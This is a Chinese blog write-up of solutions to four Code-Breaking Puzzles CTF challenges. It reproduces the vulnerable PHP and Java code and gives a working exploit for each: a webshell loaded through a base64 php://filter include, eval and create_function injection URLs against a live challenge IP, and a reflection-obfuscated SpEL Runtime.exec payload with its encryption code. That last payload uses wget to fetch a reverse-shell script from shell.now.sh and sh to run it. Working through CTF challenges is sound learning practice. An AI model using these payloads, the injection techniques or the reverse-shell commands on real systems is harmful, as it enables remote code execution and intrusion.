代码审计圈子里看到Code-Breaking Puzzles,跟着学习着做下。
地址:https://code-breaking.com/
给P神的代码审计圈子打个广告,199元你买不了吃亏买不了上当:
![在这里插入图片描述](https://img.php1.cn/3cd4a/1eebe/cd5/5b97d3b808d031e2.webp?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L2ZubXNk,size_16,color_FFFFFF,t_70)
easy - pcrewaf
这个题最开始做上来的,但是做出来了个非预期解。
最开始的题目:
function is_php($data){return preg_match(&#39;/<\?.*[\(\&#96;].*/is&#39;, $data);
}if(empty($_FILES)) {die(show_source(__FILE__));
}
var_dump($_FILES);
$user_dir &#61; &#39;data/&#39; . md5($_SERVER[&#39;REMOTE_ADDR&#39;]);
$data &#61; file_get_contents($_FILES[&#39;file&#39;][&#39;tmp_name&#39;]);
if (is_php($data)) {echo "bad request";
} else {&#64;mkdir($user_dir, 0755);$path &#61; $user_dir . &#39;/&#39; . random_int(0, 10) . &#39;.php&#39;;move_uploaded_file($_FILES[&#39;file&#39;][&#39;tmp_name&#39;], $path);header("Location: $path", true, 303);
} ?>
只要求不用括号和返单引号&#xff0c;想到了使用include&#xff0c;最后先上传了一个base64后的一句话&#xff0c;然后用include&#43;filter进行包含&#xff1a;
include &#39;php://filter/convert.base64-decode/resource&#61;10.php&#39;;
?>
不太知道为什么直接菜刀连接不上去&#xff0c;最后直接用glob&#43;file_get_contents拿到了flag
chopper&#61;var_dump(glob(&#39;../../../*&#39;));
chopper&#61;var_dump(file_get_contents(&#39;../../../flag_php7_2_1s_c0rrect&#39;));
后来is_php进行了修改&#xff1a;
function is_php($data){return preg_match(&#39;/<\?.*[(&#96;;?>].*/is&#39;, $data);
}
预期解法是利用PHP默认pcre最大回溯10w次&#xff08;pcre.backtrack_limit&#61;100000)&#xff0c;令正则匹配上传内容时回溯超过10w从而匹配失败。
具体解析p神已经发了博客&#xff1a;
https://www.leavesongs.com/PENETRATION/use-pcre-backtrack-limit-to-bypass-restrict.html
easy - phplimit
题目&#xff1a;
var_dump(__FUNCTION__);
echo preg_replace(&#39;/[^\W]&#43;\((?R)?\)/&#39;, &#39;&#39;, $_GET[&#39;code&#39;]);
if(&#39;;&#39; &#61;&#61;&#61; preg_replace(&#39;/[^\W]&#43;\((?R)?\)/&#39;, &#39;&#39;, $_GET[&#39;code&#39;])) { eval($_GET[&#39;code&#39;]);
} else {echo"\nerror";
}
正则允许无限的无参数函数嵌套&#xff0c;并且去掉嵌套的函数以后只剩一个分号。
记得好像有个能获取全局所有变量的函数&#xff0c;查手册查到get_defined_vars函数&#xff0c;结合数组操作函数current、array_values可以拿到GET中的第一个参数&#xff08;所以a那个参数要在code前面&#xff0c;因为用了array_values所以叫什么无所谓&#xff09;。
最后的请求&#xff1a;
http://51.158.75.42:8084/?a&#61;var_dump(glob(%27./../*%27));&code&#61;eval(current(array_values(current(array_values(get_defined_vars())))));http://51.158.75.42:8084/?a&#61;var_dump(glob(&#39;./../flag_phpbyp4ss&#39;));&code&#61;eval(current(array_values(current(array_values(get_defined_vars())))));
easy - function
题目&#xff1a;
$action &#61; $_GET[&#39;action&#39;] ?? &#39;&#39;;
$arg &#61; $_GET[&#39;arg&#39;] ?? &#39;&#39;;if(preg_match(&#39;/^[a-z0-9_]*$/isD&#39;, $action)) {show_source(__FILE__);
} else {$action(&#39;&#39;, $arg);
}
需要action不能完全由数字字母下划线组成&#xff0c;想到了命名空间这回事&#xff0c;函数前面加个\就可以用了。
利用create_function函数进行代码执行&#xff0c;
参考&#xff1a;
http://blog.51cto.com/lovexm/1743442
懒一下&#xff0c;直接写结果&#xff1a;
http://51.158.75.42:8087/?action&#61;\create_function&arg&#61;2;}var_dump(glob(%27./../*%27));/*http://51.158.75.42:8087/?action&#61;\create_function&arg&#61;2;}var_dump(file_get_contents(%27./../flag_h0w2execute_arb1trary_c0de%27));/*
medium - javacon
这个题我想用idea调试来的&#xff0c;参考网上远程调试的文章&#xff0c;并且也把jar文件导入到项目里&#xff0c;最后下了断点还是不停&#xff0c;就先静态看了。。
题目有点类似Shiro反序列化漏洞的利用&#xff0c;Shiro的rememberMe存的是加密后的序列化对象&#xff0c;这个存的是加密后的SPEL。
题目从COOKIE中获取remember-me参数并解密&#xff1a;
![在这里插入图片描述](https://img.php1.cn/3cd4a/1eebe/cd5/617c1173853af4b6.webp?x-oss-process&#61;image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L2ZubXNk,size_16,color_FFFFFF,t_70)
在getAdvanceValue函数中进行过滤&#43;执行&#xff1a;
![在这里插入图片描述](https://img.php1.cn/3cd4a/1eebe/cd5/eec57030b649a106.webp?x-oss-process&#61;image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L2ZubXNk,size_16,color_FFFFFF,t_70)
过滤规则及加密key&#xff1a;
![在这里插入图片描述](https://img.php1.cn/3cd4a/1eebe/cd5/086aec93f5e1e9b2.webp?x-oss-process&#61;image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L2ZubXNk,size_16,color_FFFFFF,t_70)
一般利用java.lang.Runtime.getRuntime().exec(cmd)来执行命令&#xff0c;利用反射来绕过黑名单&#xff0c;最后得到EL&#xff1a;
#{&#39;&#39;.getClass().forName(&#39;java.la&#39;&#43;&#39;ng.Ru&#39;&#43;&#39;ntime&#39;).getMethod(&#39;ex&#39;&#43;&#39;ec&#39;,&#39;&#39;.getClass()).invoke(&#39;&#39;.getClass().forName(&#39;java.la&#39;&#43;&#39;ng.Ru&#39;&#43;&#39;ntime&#39;).getMethod(&#39;getRu&#39;&#43;&#39;ntime&#39;).invoke(null),&#39;xxxxx&#39;)}
加密代码&#xff1a;
String a&#61;"#{&#39;&#39;.getClass().forName(&#39;java.la&#39;&#43;&#39;ng.Ru&#39;&#43;&#39;ntime&#39;).getMethod(&#39;ex&#39;&#43;&#39;ec&#39;,&#39;&#39;.getClass()).invoke(&#39;&#39;.getClass().forName(&#39;java.la&#39;&#43;&#39;ng.Ru&#39;&#43;&#39;ntime&#39;).getMethod(&#39;getRu&#39;&#43;&#39;ntime&#39;).invoke(null),&#39;sh /tmp/414.sh&#39;)}";String b&#61;encrypt("c0dehack1nghere1", "0123456789abcdef", a);System.out.println(b);
用dnslog测了下可以外连&#xff0c;用之前代码审计圈子提过的shell.now.sh反弹了shell。
似乎是因为http://jackson.thuraisamy.me/runtime-exec-payloads.html编码后的结果包含{}&#xff0c;导致EL没法正常执行&#xff0c;最后分成了两条命令&#xff1a;
wget https://shell.now.sh/47.123.123.123:12345 -O /tmp/414.sh
sh /tmp/414.sh
提交&#xff1a;
![在这里插入图片描述](https://img.php1.cn/3cd4a/1eebe/cd5/443b30bb45e66690.webp?x-oss-process&#61;image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L2ZubXNk,size_16,color_FFFFFF,t_70)
拿到了flag
![在这里插入图片描述](https://img.php1.cn/3cd4a/1eebe/cd5/ea91d84a82557da5.webp?x-oss-process&#61;image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L2ZubXNk,size_16,color_FFFFFF,t_70)